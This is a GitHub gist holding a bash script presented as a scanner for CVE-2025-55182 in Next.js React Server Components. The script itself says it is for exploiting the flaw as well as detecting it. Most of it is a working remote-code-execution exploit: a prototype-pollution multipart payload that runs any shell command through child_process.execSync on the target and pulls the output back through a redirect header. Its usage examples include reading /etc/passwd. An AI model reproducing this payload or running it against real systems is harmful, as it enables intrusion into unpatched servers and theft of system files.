Created
December 8, 2025 14:44
-
-
Save Ademking/f238066bf47b302c9ec389935e63b341 to your computer and use it in GitHub Desktop.
CVE-2025-55182 Scanner - React2Shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # CVE-2025-55182 Advanced Scanner | |
| # A comprehensive tool for detecting and exploiting CVE-2025-55182 in Next.js applications | |
| # Based on the Nuclei template from: https://cloud.projectdiscovery.io/library/CVE-2025-55182 | |
| # | |
| # Usage: | |
| # ./scanner.sh -d <domain> -c <command> | |
| # ./scanner.sh -d vulnapp.com -c id | |
| # ./scanner.sh -d http://localhost:3000 -c "ping -c 3 google.com" | |
| # ./scanner.sh -d vulnapp.com -c "cat /etc/passwd" | |
| VERSION="1.0.0" | |
| DOMAIN="http://localhost:3000" | |
| CMD="id" | |
| # Colors for output | |
| RED='\033[0;31m' | |
| GREEN='\033[0;32m' | |
| YELLOW='\033[1;33m' | |
| BLUE='\033[0;34m' | |
| CYAN='\033[0;36m' | |
| MAGENTA='\033[0;35m' | |
| NC='\033[0m' # No Color | |
| # Print banner | |
| print_banner() { | |
| echo -e "${BLUE}" | |
| echo "╔════════════════════════════════════════════════════════════╗" | |
| echo "║ CVE-2025-55182 Advanced Scanner v${VERSION} ║" | |
| echo "║ React Server Components RCE Scanner ║" | |
| echo "╚════════════════════════════════════════════════════════════╝" | |
| echo -e "${NC}" | |
| } | |
| # Print usage | |
| print_usage() { | |
| echo "Usage: $0 [OPTIONS]" | |
| echo "" | |
| echo "Options:" | |
| echo " -d, --domain Target domain/URL (default: http://localhost:3000)" | |
| echo " If no protocol specified, defaults to https://" | |
| echo " -c, --command Command to execute (default: id)" | |
| echo " -h, --help Show this help message" | |
| echo "" | |
| echo "Examples:" | |
| echo " $0 -d vulnapp.com -c id" | |
| echo " $0 -d http://localhost:3000 -c \"ping -c 3 google.com\"" | |
| echo " $0 -d vulnapp.com -c \"cat /etc/passwd\"" | |
| echo "" | |
| } | |
| # Parse command-line arguments | |
| parse_args() { | |
| while [[ $# -gt 0 ]]; do | |
| case $1 in | |
| -d|--domain) | |
| DOMAIN="$2" | |
| # Add https:// if no protocol specified (most production sites use HTTPS) | |
| if [[ ! "$DOMAIN" =~ ^https?:// ]]; then | |
| DOMAIN="https://${DOMAIN}" | |
| fi | |
| shift 2 | |
| ;; | |
| -c|--command) | |
| CMD="$2" | |
| shift 2 | |
| ;; | |
| -h|--help) | |
| print_usage | |
| exit 0 | |
| ;; | |
| *) | |
| echo -e "${RED}Unknown option: $1${NC}" | |
| print_usage | |
| exit 1 | |
| ;; | |
| esac | |
| done | |
| } | |
| # Main execution | |
| main() { | |
| print_banner | |
| parse_args "$@" | |
| # Display scan configuration | |
| echo -e "${BLUE}┌─ Scan Configuration ─────────────────────────────────────────┐${NC}" | |
| echo -e "${BLUE}│${NC} Target: ${CYAN}${DOMAIN}${NC}" | |
| echo -e "${BLUE}│${NC} Command: ${YELLOW}${CMD}${NC}" | |
| echo -e "${BLUE}└──────────────────────────────────────────────────────────────┘${NC}" | |
| echo "" | |
| # Generate random IDs as per template | |
| REQUEST_ID=$(openssl rand -hex 4 2>/dev/null | tr '[:upper:]' '[:lower:]' || echo "$(date +%s | sha256sum | cut -c1-8)") | |
| NEXTJS_HTML=$(openssl rand -hex 10 2>/dev/null || echo "$(date +%s | sha256sum | cut -c1-21)") | |
| BOUNDARY="----WebKitFormBoundaryx8jO2oVc6SWP3Sad" | |
| # Escape the command for JSON (escape single quotes, backslashes, and newlines) | |
| ESCAPED_CMD=$(echo "$CMD" | sed "s/'/\\\\'/g" | sed 's/\\/\\\\/g' | tr -d '\n') | |
| # Create temporary file with multipart form data using CRLF line endings | |
| TMPFILE=$(mktemp) | |
| # Build the JSON payload with the escaped command | |
| PAYLOAD_JSON="{\"then\":\"\$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"\$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('${ESCAPED_CMD}').toString().trim().replace(/\\\\n/g, ' | ');;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: \`NEXT_REDIRECT;push;/login?a=\${res};307;\`});\",\"_chunks\":\"\$Q2\",\"_formData\":{\"get\":\"\$1:constructor:constructor\"}}}" | |
| printf '%s\r\n' \ | |
| "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \ | |
| 'Content-Disposition: form-data; name="0"' \ | |
| "" \ | |
| "${PAYLOAD_JSON}" \ | |
| "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \ | |
| 'Content-Disposition: form-data; name="1"' \ | |
| "" \ | |
| '"$@0"' \ | |
| "------WebKitFormBoundaryx8jO2oVc6SWP3Sad" \ | |
| 'Content-Disposition: form-data; name="2"' \ | |
| "" \ | |
| '[]' \ | |
| "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--" \ | |
| > "$TMPFILE" | |
| # Show sending request message | |
| echo -e "${CYAN}[*]${NC} Sending request to ${CYAN}${DOMAIN}${NC}..." | |
| # Send the request exactly as in the Nuclei template | |
| RESPONSE=$(curl -s -i -X POST "${DOMAIN}" \ | |
| -H "Next-Action: x" \ | |
| -H "X-Nextjs-Request-Id: ${REQUEST_ID}" \ | |
| -H "X-Nextjs-Html-Request-Id: ${NEXTJS_HTML}" \ | |
| -H "Content-Type: multipart/form-data; boundary=${BOUNDARY}" \ | |
| -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ | |
| --max-time 15 \ | |
| --data-binary "@${TMPFILE}" 2>&1) | |
| # Extract the command result from X-Action-Redirect header (as per template matcher) | |
| CMD_RESULT=$(echo "$RESPONSE" | grep -i "x-action-redirect" | sed -n 's/.*\/login?a=\([^;]*\).*/\1/p' | head -1) | |
| # Cleanup | |
| rm -f "$TMPFILE" | |
| if [ -n "$CMD_RESULT" ]; then | |
| # URL decode the result | |
| if command -v python3 >/dev/null 2>&1; then | |
| DECODED_RESULT=$(echo "$CMD_RESULT" | python3 -c "import sys, urllib.parse; sys.stdout.write(urllib.parse.unquote(sys.stdin.read()))") | |
| else | |
| # Fallback URL decoding | |
| DECODED_RESULT=$(echo "$CMD_RESULT" | sed -e 's/%20/ /g' -e 's/%21/!/g' -e 's/%22/"/g' -e 's/%23/#/g' -e 's/%24/$/g' -e 's/%25/%/g' -e 's/%26/\&/g' -e "s/%27/'/g" -e 's/%28/(/g' -e 's/%29/)/g' -e 's/%2A/*/g' -e 's/%2B/+/g' -e 's/%2C/,/g' -e 's/%2D/-/g' -e 's/%2E/./g' -e 's/%2F/\//g' -e 's/%3A/:/g' -e 's/%3B/;/g' -e 's/%3C/</g' -e 's/%3D/=/g' -e 's/%3E/>/g' -e 's/%3F/?/g' -e 's/%40/@/g' -e 's/%5B/[/g' -e 's/%5C/\\/g' -e 's/%5D/]/g' -e 's/%5E/^/g' -e 's/%5F/_/g' -e 's/%60/`/g' -e 's/%7B/{/g' -e 's/%7C/|/g' -e 's/%7D/}/g' -e 's/%7E/~/g' -e 's/%0A/\n/g' -e 's/%0D//g') | |
| fi | |
| # Convert pipe separators back to newlines (payload replaces \n with ' | ') | |
| DECODED_RESULT=$(echo "$DECODED_RESULT" | sed 's/ | /\n/g') | |
| # Display result with nice formatting | |
| echo -e "${GREEN}[+]${NC} Command executed successfully!" | |
| echo "" | |
| echo -e "${YELLOW}┌─ Command Output ────────────────────────────────────────────┐${NC}" | |
| # Use temporary file to handle newlines properly | |
| TMP_OUTPUT=$(mktemp) | |
| printf '%s' "$DECODED_RESULT" > "$TMP_OUTPUT" | |
| # Display each line with proper formatting | |
| while IFS= read -r line || [ -n "$line" ]; do | |
| echo -e "${YELLOW}│${NC} $line" | |
| done < "$TMP_OUTPUT" | |
| echo -e "${YELLOW}└──────────────────────────────────────────────────────────────┘${NC}" | |
| echo "" | |
| rm -f "$TMP_OUTPUT" | |
| exit 0 | |
| else | |
| # Check for common error patterns | |
| echo -e "${RED}[!]${NC} Command execution failed" | |
| echo "" | |
| if echo "$RESPONSE" | grep -qi "403\|Forbidden"; then | |
| echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" | |
| echo -e "${RED}║${NC} ${RED}Error: Access forbidden (403)${NC}" | |
| echo -e "${RED}║${NC} WAF or firewall may be blocking the request" | |
| echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" | |
| elif echo "$RESPONSE" | grep -qi "timeout\|Connection timed out"; then | |
| echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" | |
| echo -e "${RED}║${NC} ${RED}Error: Connection timeout${NC}" | |
| echo -e "${RED}║${NC} The server did not respond in time" | |
| echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" | |
| elif echo "$RESPONSE" | grep -qi "SSL\|certificate"; then | |
| echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" | |
| echo -e "${RED}║${NC} ${RED}Error: SSL certificate issue${NC}" | |
| echo -e "${RED}║${NC} Try using http:// instead of https://" | |
| echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" | |
| elif echo "$RESPONSE" | grep -qi "500\|Internal Server Error"; then | |
| echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" | |
| echo -e "${RED}║${NC} ${RED}Error: Server error (500)${NC}" | |
| echo -e "${RED}║${NC} Server may not be vulnerable or payload was rejected" | |
| echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" | |
| else | |
| echo -e "${RED}╔════════════════════════════════════════════════════════════╗${NC}" | |
| echo -e "${RED}║${NC} ${RED}Error: Command execution failed${NC}" | |
| echo -e "${RED}║${NC} No result returned - target may not be vulnerable" | |
| echo -e "${RED}╚════════════════════════════════════════════════════════════╝${NC}" | |
| fi | |
| echo "" | |
| exit 1 | |
| fi | |
| } | |
| # Run main function | |
| main "$@" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment